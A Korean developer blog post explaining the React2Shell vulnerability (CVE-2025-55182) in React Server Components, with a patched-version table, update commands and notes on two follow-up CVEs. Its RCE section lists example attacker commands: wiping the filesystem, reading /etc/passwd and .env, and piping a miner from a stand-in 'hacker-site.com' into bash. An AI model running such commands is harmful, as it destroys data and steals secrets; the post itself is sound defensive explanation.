PromleeBlog
sitemap
aboutMe

posting thumbnail
React/Next.js의 치명적 취약점 React2Shell 분석과 대응
React2Shell CVE-2025-55182 Deep Dive and Mitigation(React/Next.js)

📅
🖐️
2025년 12월 12일 기준취약점 조치를 위한 추가 긴급 패치 가이드가 본문 3번 섹션에 추가되었습니다.
기존에 패치한 분들도 반드시 최신 버전으로 재업데이트하시기 바랍니다.

🚀

들어가기 전에 🔗

CVE-2025-55182
CVE-2025-55182
최근 개발자들 사이에서
React2Shell
이라고 불리는 보안 취약점 CVE-2025-55182이 큰 이슈가 되고 있습니다.
특정 클라우드 회사의 방화벽을 쓰면 막을 수 있다는 이야기는 많지만, 정작 "왜 이런 문제가 생겼는지", "근본적인 원리가 무엇인지" 궁금해하는 학생분들이 많을 것입니다.

오늘은 단순히 패치하는 방법을 넘어, 보안 관점에서 이 취약점이 왜 발생했는지(직렬화와 역직렬화), 그리고 보안적으로 어떤 의미를 가지는지 깊이 있게 뜯어보겠습니다.

🚀

1. 원인은 '역직렬화' 🔗

이 취약점의 핵심은
안전하지 않은 역직렬화(Insecure Deserialization)
에 있습니다.
이 개념을 이해하려면 먼저 직렬화(Serialization)가 무엇인지 알아야 합니다.

직렬화와 역직렬화란? 🔗

프로그래밍에서 객체(Object)나 데이터 구조는 메모리에 저장되어 있습니다.
이 데이터를 네트워크를 통해 다른 컴퓨터(서버 ↔ 클라이언트)로 보내려면, 데이터를
전송 가능한 형태(바이트 스트림, 문자열 등)
로 바꿔야 합니다.

React Server Components에서의 문제 🔗

React와 Next.js는 서버와 브라우저가 데이터를 주고받을 때
Flight
라는 독자적인 프로토콜을 사용해 직렬화/역직렬화를 수행합니다.

문제는 서버가 클라이언트로부터 받은 데이터를 역직렬화(Unpacking)하는 과정에서 발생했습니다.
정상적인 데이터라면 "상자 안에 텍스트 데이터가 있구나"하고 복구하면 끝입니다.
하지만 해커가 상자 안에
"이 데이터를 복구할 때, 서버의 터미널 명령어를 실행해 줘"
라는 악성 코드를 교묘하게 숨겨서 보낸다면 어떻게 될까요?

취약한 버전의 React는 이 상자를 열 때 내용물을 충분히 검증하지 않았습니다.
그 결과, 역직렬화 과정에서 해커가 심어놓은 명령어가 서버 메모리상에서 실제로 실행되어 버리는 것입니다.
Unpacking 과정에서의 Shell Access
Unpacking 과정에서의 Shell Access

🚀

2. RCE의 위험성 🔗

이 취약점은 보안 용어로
RCE (Remote Code Execution, 원격 코드 실행)
라고 부릅니다.
보안 취약점 중에서도 가장 등급이 높은(Critical), 즉 가장 위험한 유형입니다.

왜 'Shell'인가? 🔗

단순히 데이터를 훔쳐 가는 것을 넘어, 서버의
Shell(명령어 입력창)
권한을 뺏기기 때문입니다.
해커가 내 서버에서 다음과 같은 명령을 원격으로 입력한다고 상상해 보세요.
해커가 실행할 수 있는 명령어 예시
 # 서버의 모든 파일 삭제
rm -rf /
 
 # 데이터베이스 비밀번호 파일 훔치기
cat /etc/passwd
cat .env
 
 # 서버를 코인 채굴기로 만들기
curl -sL http://hacker-site.com/miner | bash
Next.js 같은 프레임워크는 Node.js 런타임 위에서 돌아갑니다.
Node.js는 기본적으로 시스템 파일에 접근하거나 외부 명령어를 실행할 수 있는 강력한 권한을 가지고 있습니다.
따라서 RCE가 터지면 사실상 서버를 통째로 해커에게 넘겨준 것과 다름없습니다.

🚀

3. 🚨 긴급 조치 방법: 추가 취약점 발견에 따른 버전별 패치 가이드 🔗

12월 12일 기준, 기존 React2Shell 취약점 패치 이후,
서비스 거부(DoS)
소스 코드 노출
과 관련된 새로운 취약점(CVE-2025-55184, CVE-2025-55183)이 추가로 발견되었습니다.
이전 패치 버전(예: React 19.2.1)을 사용 중이더라도
반드시 아래 표에 명시된 최신 버전으로 다시 업데이트
해야 안전합니다.
패키지 / 프레임워크현재 사용 중인 버전 (영향받음 ⚠️)
해결된 안전한 버전 (패치됨 ✅)
React
19.0.0, 19.0.1
19.1.0 ~ 19.1.2
19.2.0, 19.2.1
19.0.2
이상
19.1.3
이상
19.2.2
이상
Next.js 14
14.x (모든 하위 버전)
14.2.35
이상
Next.js 15
15.0.x
15.1.x
15.2.x
15.3.x
15.4.x
15.5.x
15.0.7
이상
15.1.11
이상
15.2.8
이상
15.3.8
이상
15.4.10
이상
15.5.9
이상
Next.js 16
16.0.x
16.0.10
이상
Next.js (Canary)
15.6.x-canary
16.1.x-canary
15.6.0-canary.60
이상
16.1.0-canary.19
이상
👨‍💻
Next.js 13 버전은 더 이상 보안 패치가 지원되지 않을 수 있으므로, 14 이상으로 마이그레이션 하는 것을 강력히 권장합니다.

터미널에서 업데이트 명령어 실행하기 🔗

package.json을 열어 버전을 확인하기 귀찮다면, 아래 명령어를 통해 즉시 안전한 버전으로 업데이트할 수 있습니다.
Terminal
 # npm을 사용하는 경우
npm update react react-dom next
 
 # yarn을 사용하는 경우
yarn upgrade react react-dom next
 
 # pnpm을 사용하는 경우
pnpm update react react-dom next
  1. 왜 또 업데이트해야 하나요?
    • "저번에 19.2.1로 올렸는데요?"라고 묻는 독자가 있을 수 있습니다.
    • 19.2.1은 '원격 코드 실행(RCE)'은 막았지만, 해커가 서버를 멈추게 하거나(DoS), 코드를 훔쳐보는(소스 노출) 문제는 막지 못했다는 것이 새로 밝혀졌습니다.
    • 그래서
      19.2.2
      같은 더 최신 버전이 나온 것입니다.
  2. 새로운 취약점의 정체
    • CVE-2025-55184 (DoS):
      악성 요청을 보내 서버 CPU를 폭주시 켜 다운시킴 (High Severity).
    • CVE-2025-55183 (Source Exposure):
      악성 요청을 통해 서버 소스 코드 일부를 외부로 유출시킴 (Medium Severity).

🚀

결론 🔗

이번
CVE-2025-55182 (React2Shell)
사태는 우리가 편하게 사용하는 프레임워크가 언제든 보안 위협이 될 수 있음을 보여줍니다.
지금 당장 여러분의 프로젝트 터미널을 열고 npm audit을 입력해 보세요.
보안은 귀찮은 작업이 아니라, 개발자의 가장 기본적인 책임입니다.

참고 🔗